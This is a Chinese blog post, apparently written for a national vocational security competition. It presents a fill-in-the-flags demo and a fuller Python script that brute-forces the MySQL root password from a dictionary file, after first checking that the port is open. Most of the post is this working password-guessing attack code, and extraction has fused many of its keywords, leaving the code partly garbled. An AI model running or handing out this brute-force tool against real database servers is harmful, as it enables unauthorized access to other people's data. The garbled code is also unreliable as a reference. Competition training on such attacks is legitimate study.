国赛mysql加固_全国职业技能大赛信息安全管理与评估-MySQL爆破脚本

DEMO:

#coding=utf-8

importMySQLdbclassMSSQL:def __init__(self,host,user,pwd):

self.host=host

self.user=user

self.pwd=pwddefconnect_dp(self):

conn= MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)

cur=conn.cursor()if notcur:raise(NameError,"failed connect to sql server")else:returnself.pwddefmain():

fp= open('/root/superdic.txt','r')for password infp.readlines():try:

a= MSSQL(host=Flag1,user='root',pwd=Flag2)

ms=a.connect_dp()printpassword.strip()except:pass

if nots:print 'brute failed'fp.close()if __name__ == '__main__':

main()#Flag1 = "127.0.0.1"#Flag2 = password.strip()#Flag3 = 3306#Flag4 = self.user

分析赛题:

赛题主要是考察了类的传参和读写文件时候的去除换行符

代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP

函数:

0.printBanner()打印出banenr信息 没什么卵用

1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式

mysql密码错误抛出的异常是

pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")

我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..

2.connectTest()连接mysql之前首先判断端口是否能连接

代码逻辑:

参数检查:

0.检查-i和-d后是否带参数 False=》exit() print(help)  True=> 去 1

1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口

2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3

3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4

4.打开字典文件

5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数

#!/usr/bin/python3

importpymysqlimportosimportoptparseimportsocketimportsysimporttimeimportthreading

count=0defprintBanner():

banner= '''_____ _ _ ____ _ __ __ ____ ______ ___ _

| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |

| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |

| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___

|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|

v1.0 R4bbit'''

print("\033[0;31m"+banner+"\033[0m");defconnectTest(host,port):

socket.setdefaulttimeout(0.1)

ser=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:

ser.connect((host,port))#链接成功 记得close()

print("[+] Target Port:%d" %port)

time.sleep(1)print("[3]..........");

time.sleep(1)print("[2]..........");

time.sleep(1)print("[1]..........");

ser.close();returnTrue;exceptException as e:print("目标端口无法访问");#print("Error"+str(e));

returnFalse;def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql

globalcount

count+= 1sql= "select version();"

try:

db= pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")

cursor= db.cursor() #获取mysql游标

ifcursor:#print("\n")

cursor.execute(sql)

mysql_ver=cursor.fetchone();

szStr= "Password is:"+"\033[0;31m"+szpassword+"\033[0m"

print("\r"+szStr)print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))

exit()#cursor.execute(sql);

exceptException as e:#1045 密码错误 去匹配这个1045

if "1045" instr(e):print("\r[%d]:%s" % (count,szpassword),end=".");else:print("[-] Error %s" %str(e));defmain():

printBanner();

parser= optparse.OptionParser("Usage -i -p -d ");

parser.add_option('-i',dest='ip',type='string',help = 'ip no')

parser.add_option('-p',dest ='port',type = 'string',help = 'port no')

parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')

(options,arg)=parser.parse_args()if(options.ip == None) | (options.dict_file ==None):print(parser.usage)

exit()

mysql_ip=options.ip;if(options.port == None): #如果没有给出端口 默认就是3306

mysql_port = 3306;print("[+] Use Default Mysql Port:%d" %mysql_port)else:

mysql_port=int(options.port)print("[+] Use Mysql Port:%d" %mysql_port)

mysql_dict=options.dict_file;print("[+] Use DictFile:%s" %mysql_dict)#判断目标端口是否开放

time.sleep(2);ifconnectTest(mysql_ip,mysql_port):if notos.path.exists(mysql_dict):print("[-] %s字典文件 无法访问" %mysql_dict)

exit(1)

fp= open(mysql_dict,"r")for mysql_pass infp.readlines():

sqlConnect(mysql_ip,mysql_port,mysql_pass.strip())if __name__ == '__main__':

main();

566107cadb6df8dfe494f68ba2a72124.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值